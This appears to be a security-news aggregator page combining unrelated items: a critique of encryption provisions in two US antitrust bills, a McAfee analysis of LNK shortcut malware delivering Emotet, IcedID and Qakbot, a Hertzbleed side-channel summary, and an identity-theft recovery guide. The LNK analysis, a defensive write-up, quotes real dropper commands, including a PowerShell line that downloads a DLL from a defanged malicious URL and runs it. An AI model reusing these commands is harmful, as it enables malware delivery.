Author: admin

It took three years, but the Capital One cracker was convicted in the end. Don’t get caught out in a data breach of your own!

Forescout warns of widespread “insecure-by-design” practices

Flagstar reveals details of December incident

A reported a “potentially dangerous piece of functionality” allows an attacker to launch an attack on cloud infrastructure and ransom files stored in SharePoint and OneDrive.

Researchers have discovered that a Kazakhstan government entity deployed sophisticated Italian spyware within its borders.

Attackers are targeting a number of key vertical markets in the U.S. with the active campaign, which impersonates the organization and Microsoft to lift Office365 and Outlook log-in details.

Two bills attempting to reduce the power of Internet monopolies are currently being debated in Congress: S. 2992, the American Innovation and Choice Online Act; and S. 2710, the Open App Markets Act. Reducing the power to tech monopolies would do more to “fix” the Internet than any other single action, and I am generally in favor of them both. (The Center for American Progress wrote a good summary and evaluation of them. I have written in support of the bill that would force Google and Apple to give up their monopolies on their phone app stores.)

There is a significant problem, though. Both bills have provisions that could be used to break end-to-end encryption.

Let’s start with S. 2992. Sec. 3(c)(7)(A)(iii) would allow a company to deny access to apps installed by users, where those app makers “have been identified [by the Federal Government] as national security, intelligence, or law enforcement risks.” That language is far too broad. It would allow Apple to deny access to an encryption service provider that provides encrypted cloud backups to the cloud (which Apple does not currently offer). All Apple would need to do is point to any number of FBI materials decrying the security risks with “warrant proof encryption.”

Sec. 3(c)(7)(A)(vi) states that there shall be no liability for a platform “solely” because it offers “end-to-end encryption.” This language is too narrow. The word “solely” suggests that offering end-to-end encryption could be a factor in determining liability, provided that it is not the only reason. This is very similar to one of the problems with the encryption carve-out in the EARN IT Act. The section also doesn’t mention any other important privacy-protective features and policies, which also shouldn’t be the basis for creating liability for a covered platform under Sec. 3(a).

In Sec. 2(a)(2), the definition of business user excludes any person who “is a clear national security risk.” This term is undefined, and as such far too broad. It can easily be interpreted to cover any company that offers an end-to-end encrypted alternative, or a service offered in a country whose privacy laws forbid disclosing data in response to US court-ordered surveillance. Again, the FBI’s repeated statements about end-to-end encryption could serve as support.

Finally, under Sec. 3(b)(2)(B), platforms have an affirmative defense for conduct that would otherwise violate the Act if they do so in order to “protect safety, user privacy, the security of nonpublic data, or the security of the covered platform.” This language is too vague, and could be used to deny users the ability to use competing services that offer better security/privacy than the incumbent platform—particularly where the platform offers subpar security in the name of “public safety.” For example, today Apple only offers unencrypted iCloud backups, which it can then turn over governments who claim this is necessary for “public safety.” Apple can raise this defense to justify its blocking third-party services from offering competing, end-to-end encrypted backups of iMessage and other sensitive data stored on an iPhone.

S. 2710 has similar problems. Sec 7. (6)(B) contains language specifying that the bill does not “require a covered company to interoperate or share data with persons or business users that…have been identified by the Federal Government as national security, intelligence, or law enforcement risks.” This would mean that Apple could ignore the prohibition against private APIs, and deny access to otherwise private APIs, for developers of encryption products that have been publicly identified by the FBI. That is, end-to-end encryption products.

I want those bills to pass, but I want those provisions cleared up so we don’t lose strong end-to-end encryption in our attempt to reign in the tech monopolies.

Authored by Lakshya Mathur

An LNK file is a Windows Shortcut that serves as a pointer to open a file, folder, or application. LNK files are based on the Shell Link binary file format, which holds information used to access another data object. These files can be created manually using the standard right-click create shortcut option or sometimes they are created automatically while running an application. There are many tools also available to build LNK files, also many people have built “lnkbombs” tools specifically for malicious purposes.

During the second quarter of 2022, McAfee Labs has seen a rise in malware being delivered using LNK files. Attackers are exploiting the ease of LNK, and are using it to deliver malware like Emotet, Qakbot, IcedID, Bazarloaders, etc.

In this blog, we will see how LNK files are being used to deliver malware such as Emotet, Qakbot, and IcedID.

Below is a screenshot of how these shortcut files look to a normal user.

LNK THREAT ANALYSIS & CAMPAIGNS

With Microsoft disabling office macros by default malware actors are now enhancing their lure techniques including exploiting LNK files to achieve their goals.

Threat actors are using email spam and malicious URLs to deliver LNK files to victims. These files instruct legitimate applications like PowerShell, CMD, and MSHTA to download malicious files.

We will go through three recent malware campaigns Emotet, IcedID, and Qakbot to see how dangerous these files can be.

 

EMOTET

Infection-Chain

Threat Analysis

In Figure 4 we can see the lure message and attached malicious LNK file.

The user is infected by manually accessing the attached LNK file. To dig a little deeper, we see the properties of the LNK file:

As seen in Figure 5 the target part reveals that LNK invokes the Windows Command Processor (cmd.exe). The target path as seen in the properties is only visible to 255 characters. However, command-line arguments can be up to 4096, so malicious actors can that this advantage and pass on long arguments as they will be not visible in the properties.

In our case the argument is /v:on /c findstr “glKmfOKnQLYKnNs.*” “Form 04.25.2022, US.lnk” > “%tmp%YlScZcZKeP.vbs” & “%tmp%YlScZcZKeP.vbs”

Once the findstr.exe utility receives the mentioned string, the rest of the content of the LNK file is saved in a .VBS file under the %temp% folder with the random name YIScZcZKeP.vbs

The next part of the cmd.exe command invokes the VBS file using the Windows Script Host (wscript.exe) to download the main Emotet 64-bit DLL payload.

The downloaded DLL is then finally executed using the REGSVR32.EXE utility which is similar behavior to the excel(.xls) based version of the emotet.

ICEDID

Infection-Chain

Threat Analysis

This attack is a perfect example of how attackers chain LNK, PowerShell, and MSHTA utilities target their victims.

Here, PowerShell LNK has a highly obfuscated parameter which can be seen in Figure 8 target part of the LNK properties

The parameter is exceptionally long and is not fully visible in the target part. The whole obfuscated argument is decrypted at run-time and then executes MSHTA with argument hxxps://hectorcalle[.]com/093789.hta.

The downloaded HTA file invokes another PowerShell that has a similar obfuscated parameter, but this connects to Uri hxxps://hectorcalle[.]com/listbul.exe

The Uri downloads the IcedID installer 64-bit EXE payload under the %HOME% folder.

QAKBOT

Infection-Chain

Threat Analysis

This attack will show us how attackers can directly hardcode malicious URLs to run along with utilities like PowerShell and download main threat payloads.

In Figure 10 the full target part argument is “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -NoExit iwr -Uri hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png -OutFile $env:TEMPtest.dll;Start-Process rundll32.exe $env:TEMPtest.dll,jhbvygftr”

When this PowerShell LNK is invoked, it connects to hxxps://news-wellness[.]com/5MVhfo8BnDub/D.png using the Invoke-WebRequest command and the download file is saved under the %temp% folder with the name test.dll

This is the main Qakbot DLL payload which is then executed using the rundll32 utility.

CONCLUSION

As we saw in the above three threat campaigns, it is understood that attackers abuse the windows shortcut LNK files and made them to be extremely dangerous to the common users. LNK combined with PowerShell, CMD, MSHTA, etc., can do severe damage to the victim’s machine. Malicious LNKs are generally seen to be using PowerShell and CMD by which they can connect to malicious URLs to download malicious payloads.

We covered just three of the threat families here, but these files have been seen using other windows utilities to deliver diverse types of malicious payloads. These types of attacks are still evolving, so every user must give a thorough check while using LNK shortcut files. Consumers must keep their Operating system and Anti-Virus up to date. They should beware of phishing mail and clicking on malicious links and attachments.

IOC (Indicators of Compromise)

Type	SHA-256	Scanner
Emotet LNK	02eccb041972825d51b71e88450b094cf692b9f5f46f5101ab3f2210e2e1fe71	WSS	LNK/Emotet-FSE
IcedID LNK	24ee20d7f254e1e327ecd755848b8b72cd5e6273cf434c3a520f780d5a098ac9	WSS	LNK/Agent-FTA Suspicious ZIP!lnk
Qakbot LNK	b5d5464d4c2b231b11b594ce8500796f8946f1b3a10741593c7b872754c2b172	WSS	LNK/Agent-TSR
URLs (Uniform Resource Locator)	hxxps://creemo[.]pl/wp-admin/ZKS1DcdquUT4Bb8Kb/ hxxp://filmmogzivota[.]rs/SpryAssets/gDR/ hxxp://demo34.ckg[.]hk/service/hhMZrfC7Mnm9JD/ hxxp://focusmedica[.]in/fmlib/IxBABMh0I2cLM3qq1GVv/ hxxp://cipro[.]mx/prensa/siZP69rBFmibDvuTP1/ hxxps://hectorcalle[.]com/093789.hta hxxps://hectorcalle[.]com/listbul.exe hxxps://green-a-thon[.]com/LosZkUvr/B.png	WebAdvisor	All URLs Blocked

 

The post Rise of LNK (Shortcut files) Malware appeared first on McAfee Blog.

Hertzbleed is a new side-channel attack that works against a variety of microprocressors. Deducing cryptographic keys by analyzing power consumption has long been an attack, but it’s not generally viable because measuring power consumption is often hard. This new attack measures power consumption by measuring time, making it easier to exploit.

The team discovered that dynamic voltage and frequency scaling (DVFS)—a power and thermal management feature added to every modern CPU—allows attackers to deduce the changes in power consumption by monitoring the time it takes for a server to respond to specific carefully made queries. The discovery greatly reduces what’s required. With an understanding of how the DVFS feature works, power side-channel attacks become much simpler timing attacks that can be done remotely.

The researchers have dubbed their attack Hertzbleed because it uses the insights into DVFS to expose­or bleed out­data that’s expected to remain private.

[…]

The researchers have already shown how the exploit technique they developed can be used to extract an encryption key from a server running SIKE, a cryptographic algorithm used to establish a secret key between two parties over an otherwise insecure communications channel.

The researchers said they successfully reproduced their attack on Intel CPUs from the 8th to the 11th generation of the Core microarchitecture. They also claimed that the technique would work on Intel Xeon CPUs and verified that AMD Ryzen processors are vulnerable and enabled the same SIKE attack used against Intel chips. The researchers believe chips from other manufacturers may also be affected.

The internet is a big place. While it’s changed the world for the better — making our daily lives that much easier! — it can also be a playground for cybercriminals who would love to get their hands on our personal information.  

When this happens, it can result in identity theft. While it can be scary to deal with, there are things you can do to protect yourself and recover from this type of cybercrime.  

In this article, we’ll tell you what identity theft is and how to recognize its various forms. We’ll also go over what you can do to bounce back after your identity has been taken.  

What is identity theft?

Life online presents so many cool opportunities, but it can also make us vulnerable to cybercriminals. But that doesn’t mean you need to get offline. A little knowledge can go a long way in keeping you safe. It all starts with understanding what identity theft is.  

Identity theft is when someone steals your personal or financial information to commit fraud or deception, typically for monetary gain. Depending on their goals, they might take a variety of information. Unfortunately, this is something most people will experience — either directly or indirectly — at some point in their lives. 

What makes identity theft really troublesome is that the consequences can go beyond just affecting your credit score. You might experience issues while trying to get jobs, see an increase in your auto insurance rate, get a surprise tax bill, and even find out you have a criminal record! Not to mention it can cost a lot of time and money to fix.  

Just as important as it is to understand what identity theft is, it’s also important to know the different types of identity theft so you can keep an eye out.  

Types of identity theft 

You work, play, and shop on the internet every day, but you shouldn’t let the fear of identity theft stop you from doing what you enjoy online. All it takes is a little information to outsmart online criminals — including knowing the different types of identity theft. They include: 

• Financial identity theft: A thief will use your identity for their own financial gain. The cybercriminal might hack your bank account to steal funds or use your credit card for online shopping. If you have a good credit history, they might even use your identity to buy a home or rent an apartment.  

• Medical identity theft: A thief will use your identity to secure medical services. With your health insurance information, they can get prescription drugs, buy medical equipment, or even pay for medical care and procedures. Whatever your insurance doesn’t pay for will then get billed to you.  

• Criminal identity theft: This happens when a thief is busted for a crime and gives the arresting officer your information. The criminal might have stolen your actual ID or created a fake one, and you won’t know what’s happened until the crime shows up on your background check (or, worse, you get a court summons in the mail).  

• Synthetic identity theft: A thief will use your identity to create a fake person. The new persona will have your birthdate, Social Security number, and address — but a different name. They can then use this persona to do things like apply for loans and get credit cards.  

• Child identity theft: A thief will use a child’s identity to commit fraud. Kids usually don’t have bank accounts or debt. The thief may use the child’s identity to do things like buy homes or get social benefits.  

How does identity theft happen?

How does an identity thief get your information? Any time you make a purchase, subscribe to a website, file a tax return, or do anything else online, you share your personal information. And some cybercriminals are pretty good at getting that information for themselves.  

Here are a few of the most common ways thieves can get access to your data:  

• Phishing scams: A thief might message you over email or social media pretending to be someone they’re not. They may claim to be calling on behalf of the Internal Revenue Service (IRS), a sweepstakes, or even a family member. After that, the criminal will ask for money or your personal information.  

• Data breach: When you fill out webforms, open new accounts, or make purchases online, your personal information is likely saved in a company database. Most companies do their best to keep your information secure, but hackers are always hard at work trying to gain access to it. If the hackers can breach your information, they can sell it for a profit.  

• Internet of Things (IoT): It’s not just computers that have internet access anymore. Hackers might also try to steal personal information from your smartphone, tablet, or another internet-compatible device. 

• Social media: People share all kinds of personal information on social media. In addition to data like your birthday, address, and phone number, criminals can learn about your family members, pets, and interests. They can use this data as potential password information when they try to break into your online accounts. 

• Physical theft: Some thieves are old-fashioned. A criminal can take your credit card, ID, smartphone, or computer and use it to steal your identity. If you throw away documents like paystubs or checks without shredding them first, criminals can use them to get your personal data, like your bank account numbers. 

What personal information is generally taken when identity theft occurs?

The type of information that hackers take during a breach can vary widely. It just depends on what information a company stores, what data the cybercriminal can access, and even the purpose of the attack. A hacker might be making a political statement or simply “showing off” their skills. 

During a breach, hackers target information that can be resold on the dark web or used for identity fraud, like debit card or credit card accounts. They might also collect data like people’s full names, email addresses, passwords, Social Security numbers, and driver’s license numbers. 

How to recover from identity theft

Dealing with identity theft can be stressful and a little bit scary, but we promise it’s not the end of the world. The important thing is to be quick about it and stay alert for signs of identity theft, like:  

• A sudden dip in your credit score  
• Mail addressed to your home with someone else’s name on it 
• Calls from debt collectors about debts that aren’t yours 
• Unexplained bills showing up at your home  

The good news is that if you’re ever the victim of identity theft, there are several things you can do to limit and reverse that damage. We’ll explore these steps in the next few sections. 

Contact the company where your information was stolen

Notify your credit card company, financial institution, or the business where the thief is using your data right away. For example, if the criminal is using your credit card number to buy clothing online, contact the store immediately. They’ll be able to stop any further purchases from being made.  

File a police report

Banks don’t like scams, either. Some banks may require you to show them a police report about your identity theft before they’ll refund any fraudulent charges or withdrawals. Call your local law enforcement office to report identity theft as soon as you can.  

Before speaking to an officer, though, take the time to go over all the information so you don’t leave anything out. Be as detailed as possible. Let the cops know how your sensitive information was used and what dates and times it was used. You may want to bring a copy of your bank statement as proof. 

Notify the three major credit bureaus 

One of the biggest pains about identity theft is that it can affect your credit score, which can affect your ability to do things like secure a business loan or buy a house. File a fraud alert with each of the three major credit bureaus — TransUnion, Equifax, and Experian — and let them know which activity on your credit report is false.  

File a report with the Federal Trade Commission

When you file a report with the Federal Trade Commission (FTC), they’ll create a free recovery plan for you to deal with your identity being stolen. The FTC is a government organization that protects the rights of consumers. You can get started by visiting IdentityTheft.gov.  

Consider investing in a comprehensive security plan

The best time to deal with identity theft is before it happens. When you sign up for all-in-one protection, like McAfee Total Protection, you’ll get $1 million of identity theft protection insurance.  

We’ll also provide identity monitoring to help catch threats to your information before they get out of hand. You’ll also get access to our Secure VPN and our quality antivirus and safe browsing software to protect you from threats like malware.  

Browse confidently with award-winning identity protection 

You deserve to live your life online and enjoy the internet the way it was meant to be. That’s where McAfee can help — making the digital world a safe place for you and your family! 

We’ve got your back when it comes to your online identity with our identity protection service. When you sign up, we’ll keep tabs on up to 60 unique types of personal data, including your financial information. We’ll also notify you up to 10 months sooner than similar services if it seems like your identity has been compromised. And on top of $1 million of ID theft coverage, you’ll receive hands-on restoration support to get your identity back.  

See how McAfee can help secure your personal information online and give you peace of mind.  What Is Identity Theft and How Do You Recover From It?

The post What Is Identity Theft and How Do You Recover From It? appeared first on McAfee Blog.